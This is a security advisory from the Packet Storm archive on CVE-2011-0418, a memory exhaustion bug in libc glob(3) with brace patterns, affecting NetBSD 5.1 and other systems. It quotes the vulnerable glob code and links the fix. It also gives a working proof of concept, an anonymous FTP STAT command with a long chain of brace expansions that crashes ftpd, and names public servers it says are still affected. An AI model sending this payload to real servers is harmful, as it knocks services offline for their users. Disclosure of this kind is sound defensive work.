Lucene search

K
packetstormMaksymilian ArciemowiczPACKETSTORM:101052
HistoryMay 03, 2011 - 12:00 a.m.

Multiple Vendors libc/glob(3) GLOB_BRACE|GLOB_LIMIT Memory Exhaustion

2011-05-0300:00:00
Maksymilian Arciemowicz
packetstormsecurity.com
1228

0.323 Low

EPSS

Percentile

96.6%

`[ Multiple Vendors libc/glob(3) GLOB_BRACE|GLOB_LIMIT memory exhaustion ]  
  
Author: Maksymilian Arciemowicz  
http://netbsd.org/donations/  
http://securityreason.com/  
http://cxib.net/  
Date:  
- Dis.: 19.01.2011  
- Pub.: 02.05.2011  
  
CVE: CVE-2011-0418  
  
Affected Software (verified):  
- NetBSD 5.1  
- and more  
  
Original URL:  
http://securityreason.com/achievement_securityalert/97  
  
  
--- 0.Description ---  
#include <glob.h>  
  
int glob(const char *pattern, int flags,  
int (*errfunc)(const char *epath, int eerrno), glob_t *pglob);  
  
Description  
  
This function expands a filename wildcard which is passed as pattern.  
  
GLOB_LIMIT Limit the amount of memory used by matches to ARG_MAX. This option should be set for programs that can be coerced to a denial of service attack via patterns that expand to a very large number of matches, such as a long string of */../*/..  
  
  
--- 1. Multiple Vendors libc/glob(3) GLOB_BRACE|GLOB_LIMIT memory exhaustion ---  
Analyzing history of GLOB_LIMIT, we should start since 2001, where it has been added to protect ftp servers before memory exhaustion.  
  
http://www.mail-archive.com/[email protected]/msg04960.html  
  
Any 'pattern', should be limited and controlled by GLOB LIMIT. Algorithm used in glob(3) is not optimal, and doesn't support functions like realpath() to eliminate duplicates. It's not easy to predict the greatest possible complexity. Anyway in 2010, netbsd has extended GLOB_LIMIT for a few new limits like: stats, readdir and malloc  
  
OpenBSD has localized some integer overflow. In glob(3) function, exists some malloc() allowing allocate n<INT_MAX bytes into memory.  
  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gen/glob.c.diff?r1=1.34;r2=1.35;f=h  
  
-globextend()/openbsd--  
749: newn = 2 + pglob->gl_pathc + pglob->gl_offs;  
750: if (pglob->gl_offs >= INT_MAX ||  
751: pglob->gl_pathc >= INT_MAX ||  
752: newn >= INT_MAX ||  
753: SIZE_MAX / sizeof(*pathv) <= newn ||  
754: SIZE_MAX / sizeof(*statv) <= newn) {  
755: nospace:  
756: for (i = pglob->gl_offs; i < (ssize_t)(newn - 2); i++) {  
757: if (pglob->gl_pathv && pglob->gl_pathv[i])  
758: free(pglob->gl_pathv[i]);  
759: if ((pglob->gl_flags & GLOB_KEEPSTAT) != 0 &&  
760: pglob->gl_pathv && pglob->gl_pathv[i])  
761: free(pglob->gl_statv[i]);  
762: }  
763: if (pglob->gl_pathv) {  
764: free(pglob->gl_pathv);  
765: pglob->gl_pathv = NULL;  
766: }  
767: if (pglob->gl_statv) {  
768: free(pglob->gl_statv);  
769: pglob->gl_statv = NULL;  
770: }  
771: return(GLOB_NOSPACE);  
772: }  
-globextend()/openbsd--  
  
however SIZE_MAX and INT_MAX doesn't protect us before memory exhaustion. The real problem here is uncontrolled malloc(3) call. globextend() will be executed a lot of times and we should reduce calls to glob0() and globexp1(). Therefore has been created a new limit, limiting 'braces' used in 'pattern'.   
  
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/glob.c.diff?r1=text&tr1=1.27&r2=text&tr2=1.29  
  
If we don't reduce this call  
  
-globextend()/netbsd--  
static int  
globextend(const Char *path, glob_t *pglob, size_t *limit)  
{  
char **pathv;  
size_t i, newsize, len;  
char *copy;  
const Char *p;  
  
_DIAGASSERT(path != NULL);  
_DIAGASSERT(pglob != NULL);  
  
newsize = sizeof(*pathv) * (2 + pglob->gl_pathc + pglob->gl_offs);  
pathv = pglob->gl_pathv ? realloc(pglob->gl_pathv, newsize) :  
malloc(newsize); <==== UNSECURE CALL  
..  
-globextend()/netbsd--  
  
newsize = sizeof(*pathv) * (2 + pglob->gl_pathc + pglob->gl_offs);  
  
malloc(3) try allocate (4*pglob->gl_pathc) bytes.   
  
-PoC-  
USER anonymous  
PASS [email protected]  
STAT {a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}  
-PoC-  
  
in result we get  
  
Jan 19 04:49:17 127 /netbsd: UVM: pid 615 (ftpd), uid 1003 killed: out of swap  
  
Many servers are still vulnerable to the above vulnerability and CVE-2010-4754, CVE-2010-4755, CVE-2010-4756, CVE-2010-2632. Servers like ftp.sun.com ftp.sony.com seems still be affected.   
  
  
--- 2. References ---  
http://securityreason.com/achievement_securityalert/89  
http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2010-008.txt.asc  
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html  
http://support.avaya.com/css/P8/documents/100127892  
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2632  
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4754  
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4755  
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4756  
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0418  
  
PoC:  
change 'pattern' in  
http://cxib.net/stuff/glob-0day.c  
  
  
--- 3. Fix ---  
Use CVS netbsd-5 netbsd-5-1 netbsd-5-0  
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/glob.c  
  
  
--- 4. Greets ---  
Specials thanks for Christos Zoulas, spz  
  
sp3x, Infospec  
  
  
--- 5. Contact ---  
Author: Maksymilian Arciemowicz  
  
Email:  
- cxib {a\./t] securityreason [d=t} com  
  
GPG:  
- http://securityreason.com/key/Arciemowicz.Maksymilian.gpg  
  
http://netbsd.org/donations/  
http://securityreason.com/  
http://cxib.net/  
`